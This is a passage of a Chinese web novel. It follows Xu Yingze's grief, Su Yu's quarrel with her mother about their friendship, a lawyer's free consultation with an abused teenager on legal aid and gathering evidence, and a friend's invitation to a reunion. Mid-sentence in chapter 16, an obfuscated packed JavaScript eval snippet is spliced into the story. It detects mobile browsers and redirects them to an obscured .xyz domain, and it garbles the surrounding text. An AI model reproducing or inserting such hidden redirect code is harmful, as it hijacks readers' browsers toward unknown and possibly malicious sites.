丝丝缕缕的甜，像淙淙清泉流过干涸的心，徐影泽感觉自己好像又活了过来，原本怨恨厌恶的一切在此刻仿佛变得不值一提，生活似乎还有很多值得期待的事，还有很多他和她可以共同谱写的故事在未来等候，但这种感觉又让他感到愧疚，毕竟距离母亲的事结束到现在也不过短短一个多月，他怎么可以感到快乐、美好和期待？他怎么可以？这岂不是对母亲的背叛？ 对视了片刻，徐影泽慌乱地收回视线，沉默良久后，才缓缓点了点头。 但盯着手中犹余有酒酿的碗，眼睛却骤然发涩，很快视线变得模糊不清，徐影泽也不知道自己到底是怎么了，胸口阵阵发闷，心动、悔恨、期待、自我厌恶……各种复杂难言的滋味交织，眼眶刺痛，有什么顺着脸颊滑落下来，他想抬手去擦，却有另一只柔软的手比他更先靠了过来，指尖轻轻抚过他的脸，一下又一下。接着，人影轻轻一晃而过，肩头沉了沉，一个温暖的怀抱贴了过来。 “我知道……你很难过……” 苏郁站了起来，弓着腰，隔着碗轻轻环抱住了徐影泽的肩，声音轻柔。 这是徐影泽第一次距离她如此之近，女孩儿的体温带着清新肥皂香气，熟悉又陌生，震惊之余，流了一半的眼泪就这么半挂在脸上，几乎快被赭色烘干。 “哭吧，哭出来会舒服一些。”苏郁继续说着，“但你要答应我，哭完，拉开窗帘，从这间屋子里走出去，你还有大好的青春和未来，这样的你，也不是阿姨想看到的，不是么？” “我希望你能照顾好自己的身体，”少女轻拍着少年的背，感受着温热的液体透过织物渗入皮肤，温声细语地关心安慰，“好好吃饭，好好睡觉，如果你难受，不开心，需要人陪，想找人说什么，我会在。” 说完，她用双手托起他的脸，认真地看着他的眼睛。 “我随时都在。” 暖阳穿过半开的窗，洒落在她身上，那双明亮的眼睛反射着阳光的辉芒，随着浓密的睫毛扑闪扑闪。 徐影泽怔怔地看着她的眼睛，无法再思考自己此刻的窘迫是否太过丢脸。 如鼓的心跳将他淹没，几乎掐断他的呼吸。 如果说，以前对苏郁的好感和喜欢，只不过是出于青春期对异性的懵懂憧憬。 但从那一刻起，徐影泽清楚地知道。 她在他心目中的份量…… 俨然已经是另一种意义了。 15. 咨询 烈日炎炎。 苏郁坐在户外遮阳棚下听着蝉鸣，脑子里却乱糟糟塞满了前天夜里和母亲的对话。 “你和影泽真的没在恋爱？” 苏琳说这话的时候，苏郁刚和徐影泽打完电话，正打开冰箱准备拿水喝，被呵斥“女孩子不要老喝冰水”，然后继续絮叨：“影泽各方面条件都不错，也是我看着长大的，瞧着对你也上心，你们真要谈恋爱我不反对。但咱们家的情况你也清楚，多少有些高攀了，你性子倔，和影泽处多收敛点脾气，要学着温柔一点，这样男人才会宠你爱你……” 苏郁有些烦躁地打断苏琳的话：“我都说过多少次了，我们只是朋友，朋友。我和他认识那么多年，一起吃个饭是违了法还是犯了罪？” “再说，咱们家什么情况？怎么就成了高攀了？且不说我和影泽的关系清清白白，什么都没有，就算有什么，也谈不上高不高攀。我和他都是享有合法公民权利的自然人，我们是平等的，怎么到了妈你嘴里就有了高低贵贱呢？”她有些气不打一处上来。 以及，男人的宠爱？ 苏郁在心中冷笑。 有些话埋在她心底，不忍说不忍反驳—— 如果温柔讨好可以换来男人的眷顾和垂怜，那你上半辈子经历的暴力又是为什么呢？ 因为你—— 还，不，够，温，柔，驯，服？ 但这些话太伤人了，她知道。 那个人，是她和她之间永远都不想再提及的痛点。有些过往再次被掀开，没有人可以从血淋淋的伤口中全身而退。 心字头上一把刀，面前的人是她的母亲，并不是法庭或辩论赛上需要争个输赢的对手。 “……如果你们不是男女朋友就更不合适了，”苏琳没接苏郁关于‘平等’内容的话头，十分娴熟地绕过，仿佛听不见女儿的愤怒和反击，只是顾自沉浸在自己的叙事里，“一起出去这么晚才回来。还有，像昨天那样在他家留宿……你们都不是小孩子了，做事要考虑后果。既然不是男女朋友，有些事就要注意分寸。未婚女孩儿去单身男人家里留宿像什么话？传出去多难听！你也知道咱们小区的人，一天低头不见抬头见的，一人一句闲言碎语都能把人淹了。” 有话说一朝被蛇咬十年怕井绳，苏郁心想，母亲大概就是这样。 可在她和父亲离婚之前，她们被说过的闲话还少么？ 那些潜藏在暗处，总是关注非议的眼睛，阴魂不散地纠缠在身侧多年，从未彻底摆脱。 成为律师后，苏郁深刻地理解不同经历出身的人有着独属于自己的立场和视角，同样的一件事，在不同人眼中，能得到完全不同的解读和看法。 善意，恶意，不过是他人心灵的投射，是精心陈设的高高在上的牢笼。过分在乎他人的眼光，跟将自己置身于以他者为中心的囹圄有什么区别？ 再说，都什么年代了，男女之间除了暧昧关系就不可能存在纯洁真挚的友谊？两个男人，两个女人之间的留宿过夜，为什么就不会被别人拿来当作谈资？ 这不公平。 “你有没有想过，”苏郁本还想再争辩几句，但母亲后面继续说的话，却让她熄了火，“……如果影泽有了女朋友，你还和他这样不清不楚的，会影响他们的关系？” 话音一落，苏郁握着水杯，在原地怔住。 女朋友？ 徐影泽？ 仿佛是被刻意忘记般的事被重新提及，苏郁整个人大脑有些空白。 徐影泽的女朋友？ …… 十多年来，她不是没想过这个问题。 有年过年，母亲回了老家探亲，苏郁因为备考没跟着回去，拎着啤酒和独身一人在家的徐影泽吃了年夜饭。 一起等跨年的时候，她也是这样手握啤酒瓶，盯着电视突发感慨：“影泽，如果你有了女朋友，我们就不能再像这样一起跨年啦。” 苏郁至今仍记得徐影泽当时听到这话时候的表情，惊讶的，阴沉的，不可置信地盯着她，沉默了很久。 跨年钟响伴着礼炮声和“难忘今宵”的音乐在电视里响起，徐影泽看着苏郁，有些受伤地自嘲地冷笑了一声，在喧闹中低低回了三个字：“不会有。” “什么？”外间太过吵闹，苏郁没听清，大声又问了遍，“你说什么？” 徐影泽直视着她的眼睛，莫名有些严肃，眼中藏着苏郁并不能理解的复杂神情：“我说，不会有女朋友。” 苏郁一脸迷茫地看着他，对方却像压抑着什么般，咬着牙，然后深深呼出一口气，沉着嗓音继续说：“所以你大可放心。” 当时的他是这么回答的。 一个字一个字，生怕她真的没听清似的。 那么现在呢？ 苏郁往椅背上靠了靠，思考着问题的答案，心想也许是时候再和徐影泽确认一次。 虽然她觉得性别并不该成为影响友谊的因素，但这个世界的绝大部分人仍旧秉持着男女之间没有纯友谊的观念，尤其很多女性，十分避讳男朋友拥有关系交好的异性朋友，她可不想被当作什么绿茶引来同性仇恨，成为恶意破坏他人良缘的坏人。 俩人年纪都不小了，徐影泽的条件又相当不错，不管是外形工作还是家境都十分出挑。如果因为和自己走得近被牵连拖累耽误了大好青春和人生进度，岂不是一种浪费？她会愧疚的。 苏郁在脑海中微微脑补了一下徐影泽穿结婚礼服的样子—— 黑色西装，白色衬衫，身型板正挺拔。 ……应该还会有点忧郁文艺的气质。 他的一侧胳膊挽着身穿纯白婚纱的窈窕女郎，大概比他稍低半个肩膀，但那张脸却像是被涂鸦抹去了五官，怎么也无法想象。 …… 徐影泽的话…… 会喜欢什么样的女孩儿呢？ 高的？瘦的？ 长发？短发？ 清新？明媚？ 苏郁想得有些失神。 与此同时，胸口忽然莫名腾起一股难言的感觉，被什么轻轻揪紧了似地往下坠，些微酸酸涩涩的复杂滋味向上蔓延到喉咙附近，旁边的张景文找她问事的时候回话的音调都低了几分，被问：“苏律，你是不是哪里不舒服？” 不舒服？ 苏郁心想。 她有什么好不舒服的？ 不等她开口解释，零星人头外围的不远处，一道有些眼熟的纤瘦身影忽然出现，让她眼睛一亮。 来了！ 一扫心头丝丝缠绕的惆怅情绪，苏郁慌忙站了起来，几步从遮阳棚里走了出去迎，生怕女孩儿去了别人那边似的。 “你好，”苏郁走到女孩跟前，弯下腰，手扶上膝盖，尝试和女孩儿保持平等的高度，放柔了声音招呼，“我是天成律师事务所的执业律师苏郁，你可以叫我苏律师，也可以叫我……姐姐。你前天来我们律所咨询过，还记得吗？” 女孩儿有些警惕地扫了苏郁一眼，像是在脑中揣摩眼前的女人话语背后的真实目的，是否有蓄意欺骗的成分在里头。 苏郁看在眼里，有些心疼她那不属于这个年纪的谨慎，犹豫着措辞解释：“我不是坏人，是我给你打的电话，告诉你今天这里有免费的法律咨询活动的。” 苏郁指了指身后挂着红底白字条幅的遮阳棚，那里拼着几张长条桌，桌上摆着社区宣传单和一些免费茶歇，张景文正坐在摊开的电脑跟前，与零星咨询者交流着什么。 可能是因为横幅上的字，又或许是之前去天成咨询的时候见过张景文的脸，女孩防御的表情松动了。 “你愿意从大老远到这里来参加活动，说明你的诉求还未得到解决，不是么？”苏郁趁热打铁，“我记得，你是叫孙茹？” 那天女孩儿离开后，苏郁跟前台值班的同事要了来访登记查看，她留下的电话号码旁边，写的就是这个名字。 原则上来说，与委托人之间的关系需要泾渭分明，以免工作时牵扯进太多私人感情影响理性判断。 但也许是女孩儿与苏郁相似的经历和遭遇，她看着她的时候，似乎能够穿透那双澄澈又带着倔强与愤怒的眼睛，从里面的倒影中，看到—— 过去的自己。 女孩儿抬头偷瞄了苏郁一眼，又飞快地把头低下去，游移着眼神，沉默好一会儿后小声嘟囔：“是的。” “你好，孙茹。”苏郁指了指遮阳棚，示意孙茹跟她一起过去，等拉着女孩儿坐定后继续问，“我的同事告诉我，你之前是想咨询离婚和家庭暴力相关事宜。是吗？” “……嗯。” 苏郁犹豫了一瞬，有些明知故问：“能不能告诉我……为什么？” 孙茹低着头，两手局促地搭在腿面，抠着指甲盖，高高扎起的马尾落在纤细的颈侧，略宽大的校服T恤下，些许淤青若隐若现，在女孩儿白皙的皮肤上扎得人眼睛疼。 这种伤…… 她太熟悉了。 高中之前，这些伤痕与她如影随形。 不—— 也许至今都未能远离。 一些痛苦的回忆犹有冒尖的趋势，苏郁闭了闭眼，摁下心中纷乱起伏的杂念，皱着眉看回女孩儿削瘦憔悴的脸，良久后才听到她的回复：“……不、不是只咨询。我是……想请律师……” 苏郁没有着急接话，而是等她继续说。 “我……”孙茹又扫了一眼旁边正在进行法律咨询的路人，对方正沉浸在自己的阐述里，并没有关注两人谈论内容的意愿，女孩儿像是松了口气，开始讲述，“我、我想让我爸妈离婚。” “离婚需要婚姻关系存续的双方前往民政局协议，”苏郁看着她，不带任何情绪地询问，“你的父母双方都同意离婚吗？” “没、没有……”孙茹喃喃低语，“但我查过的！”她忽然拔高了音量，发现旁边有人在看她，又警惕地闭口不言，一直到对方的注意力从自 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“不……也有我……”孙茹轻轻扯了扯自己的衣领，苏郁终于能够看清那片青紫色的痕迹是什么，蝴蝶般落在锁骨上方，像是被掐的，“但主要还是我妈。” “偶尔还是长期？施暴频率呢？”苏郁默默攥紧了搁在桌下的手。 “我爸……是出租车司机，和夜班的师傅交车后喜欢约朋友去喝点小酒，喝完酒回家后就会冲我妈和我撒白天在客人那边受到的气……”女孩儿的声音越来越低，有些颤抖，“有时候挣得钱多，心情好，喝完酒就睡了，收入不好的那天就会打我们。” “报过警吗？” “……报过两次，但是每次从警察局回来后，下次打我们会更狠。”泪珠“啪”地掉落在孙茹交叠的指尖，少女弓着腰，似乎想把哭泣的脸隐藏在阴影里。 “因家暴起诉离婚可以提高成功率，但前提条件依然是……你的母亲，”苏郁的语气很轻，“她自己有离婚的意愿。” 孙茹低着头，擦了擦眼睛：“再没别的办法了吗？” “你是未成年人，对未成年人实施暴力行为是可以追究法律责任的，”苏郁盯着孙茹，“你无法控制你母亲的想法和行为，但你可以提出自己的诉求——” 年近而立的女郎表情平淡，跟她身上的职业装一样，专业又带着疏离感。但漆黑的眸子里似乎还藏有更多未说出口的话，与少女在无声中交流。 孙茹怔了怔。 安静了半晌后，孙茹像是明白了什么，低低说了句：“……我、我想想。” “可以抽空在网上查查相关的规定和流程，”苏郁出声打破两人之间的微妙气氛，继续说，“现在互联网很发达，有很多案例和流程说明。” “律师姐姐，”孙茹用充满希望和期待的眼神看着苏郁，“你是答应做我的代理人了？” “律协有规定，不得以不收费或者减低收费的方式进行不正当行业竞争，”苏郁回答，“我可以为你提供免费咨询，但我无法免费为你提供法律代理服务。” 孙茹亮起的眼睛又暗了下来：“我没那么多钱……” “但——” 苏郁说：“公益性法律案件和法律援助，是不收费的。” “我们律所对公益性法律案件的认定，需要三位合伙人全部同意，难度会比较高，而且中间也会有很多费用需要自理，但法律援助需要自行承担的费用相对较少。”她将一早就备好的表格和宣传单拿出来递给孙茹，“你可以先看看，了解了解。” “我有在机构的律师志愿者名录中登记，如果你申请并申请通过，可以尝试点援的形式让天成指派我作为你的代理律师。以及，今天咨询结束后，先去找二甲以上的医院问诊，跟医生说明你的情况，写明并保存好相关病历、诊断证明和缴费凭据。给自己和母亲的伤拍照，留影。如果你想达成你的目标和诉求，从今天开始，你和你妈妈，都得这样做，”苏郁提醒，“不管你现阶段能否说服你的妈妈，这些以后上诉都会用到。” 孙茹接过苏郁递来的法律援助申请表，在纸张内容和苏郁的脸之间辗转了几个来回。 “你……你为什么愿意帮我？”她看着苏郁，澄澈的眼中满是疑惑和探寻。 盛夏的蝉鸣响得震天撼地，苏郁沉默了一瞬，示意她从座位上站起来。 背对着张景文，苏郁避开一众路人换了个坐姿，在刚好只有孙茹能看到的视角，掀开了自己的上衣些许—— 只见一条长达近五厘米的刀痕，醒目地陈列在右肋附近，伴着四五条凌乱的伤疤，荆棘般丛生在柔软的腹部。 在孙茹震惊的眼神中，苏郁用平静到仿佛事不关己的语气，语调清淡地说明—— “因为我经历过，你经历的。” 16. 聚会（一） 苏郁这边刚结束和孙茹的咨询，收拾文件资料的时候，一通印着熟人名字的电话就响了起来。 她向正在帮社区工作人员收拾的张景文挥了下手，示意自己接个电话，然后摁下接听键：“小喜？哪边的风吹得呀，想起来给我打电话啦？” 电话那头传来一阵清亮爽利的女声：“我们的苏大忙人真是会开玩笑，明明每次都是我给你发消息不回，打电话不接，约你吃饭喝酒你也不去，现在倒成了我不跟你联系似的！” 唐小喜。 苏郁高中毕业至今最好的朋友兼闺蜜，躺一张床上盖着被子能聊天聊到天亮的那种。 苏郁知道唐小喜从小到大的各种荣誉和糗事，喜欢过的男生，来自工作生活家庭各方面的烦恼成长史等等等等，唐小喜亦然。 除了徐影泽，苏郁最了解最亲近的朋友，就是她。 “好吧，是我不对，”苏郁被一通抱怨说得有些不好意思，连连道歉，“工作太忙了，我真不是故意的。” 自从做了律师这行，确实少了很多精力维系和朋友的关系，不是她不想，纯纯是没多余的时间。如果可以自己发展客源接洽案子，对工作内容有所筛选，或许真可以节省出很多时间在工作以外的地方，但目前，她不能。 “嗯——”唐小喜拖了长音，“看你态度这么诚恳，就原谅你啦！” “打电话有什么事？”职业习惯发作，苏郁打断了寒暄，直接切入正题，被唐小喜又是一顿“数落”，吐槽她现在太过不近人情，好不容易说上话，闲聊都没几句就问“有什么事”，人和人之间，难道就不能闲聊联络一下感情？非得“有什么事”才能联系？ “不过，今天给你打电话确实有事，”唐小喜话锋一转，“周陈从A市回来了，约了几个高中同学今天晚上一起吃饭，让我问问你和影泽能不能一起来，大家有段时间没见了，聚聚？” 周陈是苏郁的高中同学，唐小喜娘胎里带出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299011|182724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的竹马，两人从婴儿车到同一个幼儿园再到初高中一起没分开过，大学都是同一个地方。但周陈不甘在D市度过一眼望到头的人生，毕业后去了A市闯荡，唐小喜则是考取了本地的公职，安安稳稳领份薪水过着小确幸的生活。因为一年也见不上几次，加上今天工作并不怎么忙碌，苏郁很爽快地就应承了下来。 “但为什么让我去问影泽？”苏郁疑惑，高中时候与徐影泽关系最好的朋友就是周陈，“他自己联系不行？” 唐小喜无语地“呵”了声：“问他还不如问你，问他他不一定去，但是你去他肯定去！” “我去他也不一定会去吧，”苏郁并不能懂唐小喜为什么能如此肯定，“他最近好像接了新项目，要加班画图，说不定来不了呢。” “哎呀，别啰嗦啦，你确定要来是吧？听我的，你就跟他打电话说就行了。饭店地址我一会儿发你微信，晚上七点，别开车，我跟你也好久没见了，一起喝点儿。”